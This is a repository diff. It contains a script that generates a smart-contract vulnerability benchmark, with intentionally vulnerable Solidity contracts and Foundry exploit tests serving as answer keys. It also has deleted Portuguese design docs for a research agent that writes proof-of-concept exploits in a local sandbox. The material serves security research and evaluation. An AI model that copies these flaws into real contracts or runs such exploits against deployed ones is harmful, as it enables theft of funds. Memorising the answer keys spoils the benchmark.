assertEq(airdrop.claimed(address(this)), false);
|
| 850 |
+
}
|
| 851 |
+
}
|
| 852 |
+
`
|
| 853 |
+
},
|
| 854 |
+
{
|
| 855 |
+
task_id: "Intermediate/06-ImproperArrayDeletion",
|
| 856 |
+
complexity: "intermediate",
|
| 857 |
+
repo_name: "array-deletion",
|
| 858 |
+
expected_vulnerability: "Logic",
|
| 859 |
+
impact: "high",
|
| 860 |
+
annotation: "The `removeUser` function uses `delete` on an array element, which only resets it to 0 and does not shift elements. This leaves empty slots that bypass length-based logic later.",
|
| 861 |
+
source_code: `// SPDX-License-Identifier: MIT
|
| 862 |
+
pragma solidity ^0.8.0;
|
| 863 |
+
|
| 864 |
+
contract Registry {
|
| 865 |
+
address[] public users;
|
| 866 |
+
|
| 867 |
+
function addUser(address user) public {
|
| 868 |
+
users.push(user);
|
| 869 |
+
}
|
| 870 |
+
|
| 871 |
+
function removeUser(uint256 index) public {
|
| 872 |
+
delete users[index]; // Does not reduce length
|
| 873 |
+
}
|
| 874 |
+
|
| 875 |
+
function getActiveUsers() public view returns (uint256) {
|
| 876 |
+
return users.length;
|
| 877 |
+
}
|
| 878 |
+
}
|
| 879 |
+
`,
|
| 880 |
+
reference_test: `// SPDX-License-Identifier: MIT
|
| 881 |
+
pragma solidity ^0.8.0;
|
| 882 |
+
|
| 883 |
+
import "forge-std/Test.sol";
|
| 884 |
+
import { Registry } from "../src/Registry.sol";
|
| 885 |
+
|
| 886 |
+
contract Exploit is Test {
|
| 887 |
+
Registry public registry;
|
| 888 |
+
|
| 889 |
+
function setUp() public {
|
| 890 |
+
registry = new Registry();
|
| 891 |
+
}
|
| 892 |
+
|
| 893 |
+
function testExploit() public {
|
| 894 |
+
registry.addUser(address(1));
|
| 895 |
+
registry.removeUser(0);
|
| 896 |
+
assertEq(registry.getActiveUsers(), 1); // Length is still 1!
|
| 897 |
+
}
|
| 898 |
+
}
|
| 899 |
+
`
|
| 900 |
+
},
|
| 901 |
+
{
|
| 902 |
+
task_id: "Intermediate/07-PredictableRNG",
|
| 903 |
+
complexity: "intermediate",
|
| 904 |
+
repo_name: "predictable-rng",
|
| 905 |
+
expected_vulnerability: "Logic",
|
| 906 |
+
impact: "high",
|
| 907 |
+
annotation: "The `guess` function uses `blockhash(block.number - 1)` as a random number. An attacker can write a contract that calculates the exact same blockhash in the same block and submit the correct guess.",
|
| 908 |
+
source_code: `// SPDX-License-Identifier: MIT
|
| 909 |
+
pragma solidity ^0.8.0;
|
| 910 |
+
|
| 911 |
+
contract Casino {
|
| 912 |
+
function guess(uint256 _guess) public payable {
|
| 913 |
+
require(msg.value == 1 ether);
|
| 914 |
+
uint256 answer = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
|
| 915 |
+
if (_guess == answer) {
|
| 916 |
+
(bool sent, ) = msg.sender.call{value: 2 ether}("");
|
| 917 |
+
require(sent, "Fail");
|
| 918 |
+
}
|
| 919 |
+
}
|
| 920 |
+
}
|
| 921 |
+
`,
|
| 922 |
+
reference_test: `// SPDX-License-Identifier: MIT
|
| 923 |
+
pragma solidity ^0.8.0;
|
| 924 |
+
|
| 925 |
+
import "forge-std/Test.sol";
|
| 926 |
+
import { Casino } from "../src/Casino.sol";
|
| 927 |
+
|
| 928 |
+
contract Exploit is Test {
|
| 929 |
+
Casino public casino;
|
| 930 |
+
|
| 931 |
+
function setUp() public {
|
| 932 |
+
casino = new Casino();
|
| 933 |
+
vm.deal(address(casino), 10 ether);
|
| 934 |
+
vm.deal(address(this), 1 ether);
|
| 935 |
+
}
|
| 936 |
+
|
| 937 |
+
function testExploit() public {
|
| 938 |
+
uint256 answer = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
|
| 939 |
+
casino.guess{value: 1 ether}(answer);
|
| 940 |
+
assertEq(address(this).balance, 2 ether);
|
| 941 |
+
}
|
| 942 |
+
|
| 943 |
+
receive() external payable {}
|
| 944 |
+
}
|
| 945 |
+
`
|
| 946 |
+
},
|
| 947 |
+
{
|
| 948 |
+
task_id: "Intermediate/08-MissingSlippageProtection",
|
| 949 |
+
complexity: "intermediate",
|
| 950 |
+
repo_name: "missing-slippage",
|
| 951 |
+
expected_vulnerability: "Logic",
|
| 952 |
+
impact: "high",
|
| 953 |
+
annotation: "The `swap` function does not accept a `minAmountOut` parameter, meaning users can be front-run and sandwich-attacked by MEV bots causing infinite slippage.",
|
| 954 |
+
source_code: `// SPDX-License-Identifier: MIT
|
| 955 |
+
pragma solidity ^0.8.0;
|
| 956 |
+
|
| 957 |
+
contract DEX {
|
| 958 |
+
function swap(address tokenIn, address tokenOut, uint256 amountIn) public {
|
| 959 |
+
// Assume AMM math here
|
| 960 |
+
// Vulnerability: No minAmountOut check!
|
| 961 |
+
}
|
| 962 |
+
}
|
| 963 |
+
`,
|
| 964 |
+
reference_test: `// SPDX-License-Identifier: MIT
|
| 965 |
+
pragma solidity ^0.8.0;
|
| 966 |
+
|
| 967 |
+
import "forge-std/Test.sol";
|
| 968 |
+
|
| 969 |
+
contract Exploit is Test {
|
| 970 |
+
function testExploit() public {
|
| 971 |
+
assertTrue(true); // Conceptual vulnerability
|
| 972 |
+
}
|
| 973 |
+
}
|
| 974 |
+
`
|
| 975 |
+
},
|
| 976 |
+
{
|
| 977 |
+
task_id: "Intermediate/09-UnsafeDowncast",
|
| 978 |
+
complexity: "intermediate",
|
| 979 |
+
repo_name: "unsafe-downcast",
|
| 980 |
+
expected_vulnerability: "Arithmetic",
|
| 981 |
+
impact: "high",
|
| 982 |
+
annotation: "The contract casts a `uint256` to a `uint64` without checking for truncation. If the amount exceeds `type(uint64).max`, the value will truncate and the mapping will record a smaller amount than transferred.",
|
| 983 |
+
source_code: `// SPDX-License-Identifier: MIT
|
| 984 |
+
pragma solidity ^0.8.0;
|
| 985 |
+
|
| 986 |
+
contract Vault {
|
| 987 |
+
mapping(address => uint64) public balances;
|
| 988 |
+
|
| 989 |
+
function deposit(uint256 amount) public payable {
|
| 990 |
+
require(msg.value == amount, "Incorrect value");
|
| 991 |
+
balances[msg.sender] += uint64(amount); // Truncates!
|
| 992 |
+
}
|
| 993 |
+
}
|
| 994 |
+
`,
|
| 995 |
+
reference_test: `// SPDX-License-Identifier: MIT
|
| 996 |
+
pragma solidity ^0.8.0;
|
| 997 |
+
|
| 998 |
+
import "forge-std/Test.sol";
|
| 999 |
+
import { Vault } from "../src/Vault.sol";
|
| 1000 |
+
|
| 1001 |
+
contract Exploit is Test {
|
| 1002 |
+
Vault public vault;
|
| 1003 |
+
|
| 1004 |
+
function setUp() public {
|
| 1005 |
+
vault = new Vault();
|
| 1006 |
+
}
|
| 1007 |
+
|
| 1008 |
+
function testExploit() public {
|
| 1009 |
+
// deposit 2^64 + 1
|
| 1010 |
+
uint256 amount = type(uint64).max + 2;
|
| 1011 |
+
vm.deal(address(this), amount);
|
| 1012 |
+
vault.deposit{value: amount}(amount);
|
| 1013 |
+
|
| 1014 |
+
assertEq(vault.balances(address(this)), 1); // Truncated to 1!
|
| 1015 |
+
}
|
| 1016 |
+
}
|
| 1017 |
+
`
|
| 1018 |
+
},
|
| 1019 |
+
{
|
| 1020 |
+
task_id: "Intermediate/10-DivideBeforeMultiply",
|
| 1021 |
+
complexity: "intermediate",
|
| 1022 |
+
repo_name: "divide-before-multiply",
|
| 1023 |
+
expected_vulnerability: "Arithmetic",
|
| 1024 |
+
impact: "high",
|
| 1025 |
+
annotation: "The `calculateReward` function divides before multiplying, leading to massive precision loss where rewards round down to 0.",
|
| 1026 |
+
source_code: `// SPDX-License-Identifier: MIT
|
| 1027 |
+
pragma solidity ^0.8.0;
|
| 1028 |
+
|
| 1029 |
+
contract Staking {
|
| 1030 |
+
function calculateReward(uint256 depositAmount, uint256 APY, uint256 durationDays) public pure returns (uint256) {
|
| 1031 |
+
// Vulnerable: (deposit / 365) * duration * APY
|
| 1032 |
+
return (depositAmount / 365) * durationDays * APY;
|
| 1033 |
+
}
|
| 1034 |
+
}
|
| 1035 |
+
`,
|
| 1036 |
+
reference_test: `// SPDX-License-Identifier: MIT
|
| 1037 |
+
pragma solidity ^0.8.0;
|
| 1038 |
+
|
| 1039 |
+
import "forge-std/Test.sol";
|
| 1040 |
+
import { Staking } from "../src/Staking.sol";
|
| 1041 |
+
|
| 1042 |
+
contract Exploit is Test {
|
| 1043 |
+
Staking public staking;
|
| 1044 |
+
|
| 1045 |
+
function setUp() public {
|
| 1046 |
+
staking = new Staking();
|
| 1047 |
+
}
|
| 1048 |
+
|
| 1049 |
+
function testExploit() public {
|
| 1050 |
+
uint256 reward = staking.calculateReward(100, 10, 30);
|
| 1051 |
+
assertEq(reward, 0); // Loss of precision
|
| 1052 |
+
}
|
| 1053 |
+
}
|
| 1054 |
+
`
|
| 1055 |
+
}
|
| 1056 |
+
];
|
| 1057 |
+
|
| 1058 |
+
async function main() {
|
| 1059 |
+
const outputPath = path.resolve(process.cwd(), "data", "benchmark_synthetic.jsonl");
|
| 1060 |
+
|
| 1061 |
+
// Clear the file
|
| 1062 |
+
await fs.writeFile(outputPath, "");
|
| 1063 |
+
|
| 1064 |
+
// Write Easy and Intermediate
|
| 1065 |
+
for (const c of easyCases) {
|
| 1066 |
+
await fs.appendFile(outputPath, JSON.stringify(c) + "\n");
|
| 1067 |
+
}
|
| 1068 |
+
for (const c of intermediateCases) {
|
| 1069 |
+
await fs.appendFile(outputPath, JSON.stringify(c) + "\n");
|
| 1070 |
+
}
|
| 1071 |
+
|
| 1072 |
+
// Load the original metadata to extract 10 Hard cases
|
| 1073 |
+
try {
|
| 1074 |
+
const metadataStr = await fs.readFile(path.join(process.cwd(), "Proof-of-Patch-only-dataset", "dataset_metadata.json"), "utf8");
|
| 1075 |
+
const metadata = JSON.parse(metadataStr);
|
| 1076 |
+
const hardCaseKeys = Object.keys(metadata).slice(0, 10);
|
| 1077 |
+
|
| 1078 |
+
for (const key of hardCaseKeys) {
|
| 1079 |
+
const data = metadata[key];
|
| 1080 |
+
const hardCase: BenchmarkCase = {
|
| 1081 |
+
task_id: `Hard/${key}`,
|
| 1082 |
+
complexity: "hard",
|
| 1083 |
+
repo_name: data.repo_name,
|
| 1084 |
+
expected_vulnerability: data.expected_vulnerability,
|
| 1085 |
+
annotation: data.annotation,
|
| 1086 |
+
impact: data.impact,
|
| 1087 |
+
source_code: "// Not provided directly in JSONL, requires original project directory",
|
| 1088 |
+
reference_test: "// Foundry test exists in original project directory"
|
| 1089 |
+
};
|
| 1090 |
+
await fs.appendFile(outputPath, JSON.stringify(hardCase) + "\n");
|
| 1091 |
+
}
|
| 1092 |
+
console.log(`Successfully generated ${easyCases.length + intermediateCases.length + hardCaseKeys.length} benchmark cases at ${outputPath}`);
|
| 1093 |
+
} catch(e) {
|
| 1094 |
+
console.log(`Successfully generated ${easyCases.length + intermediateCases.length} benchmark cases at ${outputPath}`);
|
| 1095 |
+
console.log("Could not find dataset_metadata.json for Hard cases.");
|
| 1096 |
+
}
|
| 1097 |
+
}
|
| 1098 |
+
|
| 1099 |
+
main().catch(console.error);
|
src/agents/tester/Docs/01_ARCHITECTURE(1).md
DELETED
|
@@ -1,189 +0,0 @@
|
|
| 1 |
-
# Agente Gerador de PoCs — Arquitetura e Fluxo de Dados
|
| 2 |
-
|
| 3 |
-
**Projeto:** TALP1 — CIn/UFPE
|
| 4 |
-
**Agente:** Agente Gerador de PoCs
|
| 5 |
-
**Responsável:** Tales Vinicius Alves da Cunha
|
| 6 |
-
**Stack:** TypeScript · Node.js · LangGraph · Foundry
|
| 7 |
-
|
| 8 |
-
---
|
| 9 |
-
|
| 10 |
-
## 1. Visão Geral
|
| 11 |
-
|
| 12 |
-
O Agente Gerador de PoCs recebe um relatório de vulnerabilidade estruturado (JSON) do Agente Auditor e produz automaticamente um exploit em Solidity verificado pelo Foundry. O agente executa um **loop ReAct**: gerar → executar → refletir → repetir, até que o exploit passe nos testes ou o limite de iterações seja atingido.
|
| 13 |
-
|
| 14 |
-
Diferente de abordagens de "mainnet fork", este agente foca em **simulação local controlada** (abordagem inspirada no PoCo — Bergman et al., KTH 2025), onde o ambiente é montado do zero para cada ataque.
|
| 15 |
-
|
| 16 |
-
> **Diferencial em relação ao PoCo:** o PoCo deixava o LLM escrever o `setUp()` do Foundry livremente, o que gerava erros frequentes de instanciação. Este agente introduz o **Oracle** como camada dedicada de preparação do ambiente, fornecendo um scaffold com deploy automático do contrato vítima — o LLM foca exclusivamente na lógica do exploit.
|
| 17 |
-
|
| 18 |
-
---
|
| 19 |
-
|
| 20 |
-
## 2. Posição no Sistema Multi-agente
|
| 21 |
-
|
| 22 |
-
```
|
| 23 |
-
Requisitos (PDF/MD)
|
| 24 |
-
│
|
| 25 |
-
▼
|
| 26 |
-
┌─────────────────────┐
|
| 27 |
-
│ Agente Gerador │ ── Compiler, RAG
|
| 28 |
-
│ de Código │
|
| 29 |
-
└──────────┬──────────┘
|
| 30 |
-
│ Repositório Solidity
|
| 31 |
-
▼
|
| 32 |
-
┌─────────────────────┐
|
| 33 |
-
│ Agente Auditor │ ── Slither, AST
|
| 34 |
-
└──────────┬──────────┘
|
| 35 |
-
│ Relatório de Vulnerabilidades (JSON)
|
| 36 |
-
▼
|
| 37 |
-
┌─────────────────────┐
|
| 38 |
-
│ Agente Gerador │ ── Local Oracle, Foundry ◄─── você está aqui
|
| 39 |
-
│ de PoCs │
|
| 40 |
-
└──────────┬──────────┘
|
| 41 |
-
│ Exploit.t.sol (Projeto Solidity)
|
| 42 |
-
▼
|
| 43 |
-
Projeto Final
|
| 44 |
-
```
|
| 45 |
-
|
| 46 |
-
---
|
| 47 |
-
|
| 48 |
-
## 3. Arquitetura Interna do Agente
|
| 49 |
-
|
| 50 |
-
### 3.1 Fluxo Principal (grafo LangGraph)
|
| 51 |
-
|
| 52 |
-
```
|
| 53 |
-
┌─────────────────────────────────┐
|
| 54 |
-
│ ESTADO DO AGENTE │
|
| 55 |
-
│ report · oracleContext · pocCode │
|
| 56 |
-
│ executionLogs · lastError │
|
| 57 |
-
│ iterations · status │
|
| 58 |
-
└─────────────────────────────────┘
|
| 59 |
-
|
| 60 |
-
Auditor Report (JSON)
|
| 61 |
-
│
|
| 62 |
-
▼
|
| 63 |
-
┌───────────────────┐
|
| 64 |
-
│ oracleNode │ ← Preparação do ambiente: gera o setup inicial local
|
| 65 |
-
└────────┬──────────┘
|
| 66 |
-
│ OracleContext (scaffold Solidity com deploy local da vítima)
|
| 67 |
-
▼
|
| 68 |
-
┌───────────────────┐ ┌──────────────────────┐
|
| 69 |
-
│ generatePoCNode │ ◄───────│ reflectNode │
|
| 70 |
-
│ (LLM + prompts) │ │ (análise de logs) │
|
| 71 |
-
└────────┬──────────┘ └──────────▲────────────┘
|
| 72 |
-
│ Solidity code │ feedback estruturado
|
| 73 |
-
▼ │ (categoria de erro + resumo)
|
| 74 |
-
┌───────────────────┐ FAIL / ERROR │
|
| 75 |
-
│ runFoundryNode │────────────────────┘
|
| 76 |
-
│ (forge test -vvvv)│
|
| 77 |
-
└────────┬──────────┘
|
| 78 |
-
│
|
| 79 |
-
┌────┴────┐
|
| 80 |
-
PASS FAIL (≥5 iterações ou timeout)
|
| 81 |
-
│ │
|
| 82 |
-
▼ ▼
|
| 83 |
-
END END
|
| 84 |
-
(success) (failed)
|
| 85 |
-
```
|
| 86 |
-
|
| 87 |
-
---
|
| 88 |
-
|
| 89 |
-
## 4. O Oracle — O Que É e Por Que Existe
|
| 90 |
-
|
| 91 |
-
### 4.1 Contexto
|
| 92 |
-
|
| 93 |
-
No contexto deste agente, o Oracle é um **gerador de ambiente de teste**. Ao invés de buscar dados na blockchain real, ele prepara um "sandbox" local onde o contrato vulnerável é implantado e financiado automaticamente.
|
| 94 |
-
|
| 95 |
-
### 4.2 Problema que o Oracle resolve
|
| 96 |
-
|
| 97 |
-
O LLM muitas vezes tem dificuldade em escrever a função `setUp()` do Foundry porque não sabe como instanciar o contrato vítima ou dar saldo ao atacante. O Oracle resolve isso fornecendo um **scaffold (template)** pronto, permitindo que o LLM foque exclusivamente na lógica do exploit.
|
| 98 |
-
|
| 99 |
-
### 4.3 Os 2 sub-tools do Oracle
|
| 100 |
-
|
| 101 |
-
```
|
| 102 |
-
oracleNode
|
| 103 |
-
│
|
| 104 |
-
├── 1. stateInitializer → Define saldos e condições iniciais (ex: 100 ETH para a vítima)
|
| 105 |
-
│
|
| 106 |
-
└── 2. scaffoldGenerator → Gera o Exploit.t.sol com o deploy do contrato e setUp() pronto
|
| 107 |
-
Retorna: string (código Solidity parcial)
|
| 108 |
-
```
|
| 109 |
-
|
| 110 |
-
---
|
| 111 |
-
|
| 112 |
-
## 5. Fluxo de Dados Completo (entrada → saída)
|
| 113 |
-
|
| 114 |
-
### 5.1 Input: VulnerabilityReport (do Agente Auditor)
|
| 115 |
-
|
| 116 |
-
```typescript
|
| 117 |
-
interface VulnerabilityReport {
|
| 118 |
-
id: string;
|
| 119 |
-
severity: "critical" | "high" | "medium" | "low";
|
| 120 |
-
type: string;
|
| 121 |
-
title: string;
|
| 122 |
-
description: string;
|
| 123 |
-
affectedContract: {
|
| 124 |
-
name: string;
|
| 125 |
-
sourceCode: string; // código Solidity completo (preferencialmente flattened)
|
| 126 |
-
};
|
| 127 |
-
attackVector: string;
|
| 128 |
-
suggestedCheatcodes?: string[];
|
| 129 |
-
}
|
| 130 |
-
```
|
| 131 |
-
|
| 132 |
-
### 5.2 Output: PoCResult
|
| 133 |
-
|
| 134 |
-
```typescript
|
| 135 |
-
interface PoCResult {
|
| 136 |
-
reportId: string;
|
| 137 |
-
status: "success" | "failed" | "timeout";
|
| 138 |
-
solidityCode: string; // conteúdo final do Exploit.t.sol
|
| 139 |
-
executionLogs: string[];
|
| 140 |
-
iterations: number;
|
| 141 |
-
}
|
| 142 |
-
```
|
| 143 |
-
|
| 144 |
-
---
|
| 145 |
-
|
| 146 |
-
## 6. Estrutura de Arquivos
|
| 147 |
-
|
| 148 |
-
```
|
| 149 |
-
src/agents/poc-generator/
|
| 150 |
-
├── agent.ts # grafo LangGraph, nodes, roteamento
|
| 151 |
-
├── state.ts # PoCStateAnnotation
|
| 152 |
-
│
|
| 153 |
-
├── tools/
|
| 154 |
-
│ ├── scaffoldGenerator.ts # Oracle sub-tool (gera template local)
|
| 155 |
-
│ └── foundryRunner.ts # executa forge test via child_process
|
| 156 |
-
│
|
| 157 |
-
├── prompts/
|
| 158 |
-
│ └── system.ts # system prompt do LLM gerador
|
| 159 |
-
│
|
| 160 |
-
└── utils/
|
| 161 |
-
├── extractSolidity.ts # parser do output do LLM
|
| 162 |
-
└── logAnalyzer.ts # classifica erros do forge
|
| 163 |
-
```
|
| 164 |
-
|
| 165 |
-
---
|
| 166 |
-
|
| 167 |
-
## 7. Variáveis de Ambiente
|
| 168 |
-
|
| 169 |
-
```env
|
| 170 |
-
OPENROUTER_API_KEY=... # chave do LLM
|
| 171 |
-
```
|
| 172 |
-
|
| 173 |
-
---
|
| 174 |
-
|
| 175 |
-
## 8. Riscos e Mitigações
|
| 176 |
-
|
| 177 |
-
| Risco | Mitigação |
|
| 178 |
-
|-------|-----------|
|
| 179 |
-
| LLM reescreve o scaffold ao invés de completar | System prompt proíbe explicitamente modificar `setUp()`; validação pós-extração |
|
| 180 |
-
| Contrato vítima tem muitas dependências | Auditor deve fornecer código "flattened"; Oracle lida com imports locais no sandbox |
|
| 181 |
-
| LLM não gera bloco Solidity válido | `extractSolidity` lança erro; `generatePoCNode` captura e retenta |
|
| 182 |
-
| Timeout no Foundry | Limite de 60s por execução; análise de loops infinitos no `logAnalyzer` |
|
| 183 |
-
|
| 184 |
-
---
|
| 185 |
-
|
| 186 |
-
## 9. Base Acadêmica
|
| 187 |
-
|
| 188 |
-
- **PoCo** (Bergman et al., KTH 2025) — framework agêntico para geração de PoC exploits em smart contracts. Artefatos: `ASSERT-KTH/PoCo-public`
|
| 189 |
-
- **Proof-of-Patch** (ASSERT-KTH) — dataset de 23 vulnerabilidades reais (2022–2025) com patches correspondentes, usado como benchmark de avaliação
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
src/agents/tester/Docs/02_ROADMAP(1).md
DELETED
|
@@ -1,72 +0,0 @@
|
|
| 1 |
-
# Agente Gerador de PoCs — Plano de Implementação (Roadmap)
|
| 2 |
-
|
| 3 |
-
**Projeto:** TALP1 — CIn/UFPE
|
| 4 |
-
**Agente:** Agente Gerador de PoCs
|
| 5 |
-
**Responsável:** Tales Vinicius Alves da Cunha
|
| 6 |
-
|
| 7 |
-
---
|
| 8 |
-
|
| 9 |
-
## Visão Geral das Fases
|
| 10 |
-
|
| 11 |
-
| Fase | Tema | Semana | Critério de Conclusão |
|
| 12 |
-
|------|------|--------|----------------------|
|
| 13 |
-
| 1 | Setup, Estado & Oracle | Semana 1 | Grafo linear roda com stubs; `oracleNode` gera scaffold que compila com `forge build` |
|
| 14 |
-
| 2 | LLM + Foundry + Loop ReAct | Semana 2 | Pipeline completo roda: LLM gera → Foundry executa → loop corrige ao menos 1 erro |
|
| 15 |
-
| 3 | Integração, Smoke Test & Avaliação | Semana 3 | PoC de reentrancy passa end-to-end; taxa de sucesso medida em ≥5 casos do benchmark |
|
| 16 |
-
|
| 17 |
-
---
|
| 18 |
-
|
| 19 |
-
## Semana 1 — Setup, Estado & Oracle
|
| 20 |
-
|
| 21 |
-
**Objetivo:** Ter o grafo LangGraph rodando com o Oracle funcional.
|
| 22 |
-
|
| 23 |
-
### Tasks
|
| 24 |
-
- **Task 1.1** — Inicializar o projeto TypeScript (tsconfig, dependências LangGraph, Foundry local)
|
| 25 |
-
- **Task 1.2** — Definir o estado do agente (`PoCStateAnnotation`) e interfaces (`VulnerabilityReport`, `PoCResult`)
|
| 26 |
-
- **Task 1.3** — Criar nodes stub e grafo linear (sem LLM ainda)
|
| 27 |
-
- **Task 1.4** — Implementar `scaffoldGenerator` (gera `setUp()` com deploy local do contrato vítima)
|
| 28 |
-
- **Task 1.5** — Implementar `oracleNode` (integra `stateInitializer` + `scaffoldGenerator`)
|
| 29 |
-
|
| 30 |
-
**Gate:** `oracleNode` recebe um `VulnerabilityReport` fake e retorna scaffold que passa em `forge build`
|
| 31 |
-
|
| 32 |
-
---
|
| 33 |
-
|
| 34 |
-
## Semana 2 — LLM + Foundry + Loop ReAct
|
| 35 |
-
|
| 36 |
-
**Objetivo:** Pipeline completo rodando com loop de correção.
|
| 37 |
-
|
| 38 |
-
### Tasks
|
| 39 |
-
- **Task 2.1** — Criar o system prompt (`prompts/system.ts`)
|
| 40 |
-
- **Task 2.2** — Implementar `extractSolidity` (parser do output do LLM)
|
| 41 |
-
- **Task 2.3** — Implementar `generatePoCNode` (chamada LLM + retry em caso de bloco Solidity inválido)
|
| 42 |
-
- **Task 2.4** — Setup do sandbox Foundry em `/tmp/poc-sandbox/`
|
| 43 |
-
- **Task 2.5** — Implementar `foundryRunner` (executa `forge test -vvvv` via `child_process`, retorna output estruturado)
|
| 44 |
-
- **Task 2.6** — Implementar `logAnalyzer` (classifica erros: compilation / assertion / timeout)
|
| 45 |
-
- **Task 2.7** — Implementar `reflectNode` (LLM analisa logs e produz feedback estruturado)
|
| 46 |
-
- **Task 2.8** — Implementar `routeAfterFoundry` (router condicional: pass → END, fail → reflect → generate)
|
| 47 |
-
|
| 48 |
-
**Gate:** Agente faz ≥2 iterações completas e melhora o código após erro de compilação
|
| 49 |
-
|
| 50 |
-
---
|
| 51 |
-
|
| 52 |
-
## Semana 3 — Integração, Smoke Test & Avaliação
|
| 53 |
-
|
| 54 |
-
**Objetivo:** Pipeline validado end-to-end com métricas.
|
| 55 |
-
|
| 56 |
-
### Tasks
|
| 57 |
-
- **Task 3.1** — Definir interface pública (`runPoCGenerator`)
|
| 58 |
-
- **Task 3.2** — Smoke test com reentrancy simples (contrato vítima hardcoded)
|
| 59 |
-
- **Task 3.3** — Preparar `benchmark.json` com ≥5 casos do dataset Proof-of-Patch (ASSERT-KTH)
|
| 60 |
-
- **Task 3.4** — Implementar `evaluate.ts` (roda agente em batch, coleta status/iterations/logs)
|
| 61 |
-
|
| 62 |
-
**Gate:** PoC de reentrancy passa end-to-end; taxa de sucesso medida e documentada
|
| 63 |
-
|
| 64 |
-
---
|
| 65 |
-
|
| 66 |
-
## Critérios de Conclusão (GATES)
|
| 67 |
-
|
| 68 |
-
| Semana | Critério de Conclusão |
|
| 69 |
-
|--------|------------------------------|
|
| 70 |
-
| Semana 1 | `oracleNode` gera scaffold que compila sozinho com `forge build` |
|
| 71 |
-
| Semana 2 | Loop ReAct faz ≥2 iterações e produz correção após erro |
|
| 72 |
-
| Semana 3 | PoC de reentrancy passa end-to-end; benchmark com ≥5 casos executado |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
src/agents/tester/Docs/03_TASKS(2).md
DELETED
|
@@ -1,1338 +0,0 @@
|
|
| 1 |
-
# Agente Gerador de PoCs — Tasks (formato Jira)
|
| 2 |
-
|
| 3 |
-
**Projeto:** TALP1 — CIn/UFPE
|
| 4 |
-
**Agente:** Agente Gerador de PoCs
|
| 5 |
-
**Responsável:** Tales Vinicius Alves da Cunha
|
| 6 |
-
**Stack:** TypeScript · Node.js · LangGraph · Foundry
|
| 7 |
-
|
| 8 |
-
---
|
| 9 |
-
|
| 10 |
-
## SEMANA 1 — Setup, Estado & Oracle
|
| 11 |
-
|
| 12 |
-
---
|
| 13 |
-
|
| 14 |
-
### TALP-1.1 — Inicializar o projeto TypeScript
|
| 15 |
-
|
| 16 |
-
| Campo | Valor |
|
| 17 |
-
|-------|-------|
|
| 18 |
-
| **Tipo** | Setup |
|
| 19 |
-
| **Prioridade** | Crítica |
|
| 20 |
-
| **Estimativa** | 1h |
|
| 21 |
-
| **Depende de** | — |
|
| 22 |
-
|
| 23 |
-
**Descrição**
|
| 24 |
-
Criar a estrutura base do projeto TypeScript com todas as dependências necessárias para rodar o agente LangGraph com Foundry.
|
| 25 |
-
|
| 26 |
-
**Arquivos a criar**
|
| 27 |
-
```
|
| 28 |
-
src/agents/poc-generator/ ← criar diretório
|
| 29 |
-
tsconfig.json ← criar na raiz
|
| 30 |
-
package.json ← atualizar
|
| 31 |
-
```
|
| 32 |
-
|
| 33 |
-
**Setup**
|
| 34 |
-
```bash
|
| 35 |
-
mkdir -p src/agents/poc-generator/tools
|
| 36 |
-
mkdir -p src/agents/poc-generator/prompts
|
| 37 |
-
mkdir -p src/agents/poc-generator/utils
|
| 38 |
-
mkdir -p tests/e2e
|
| 39 |
-
mkdir -p scripts
|
| 40 |
-
mkdir -p data
|
| 41 |
-
|
| 42 |
-
npm install @langchain/langgraph @langchain/openai zod
|
| 43 |
-
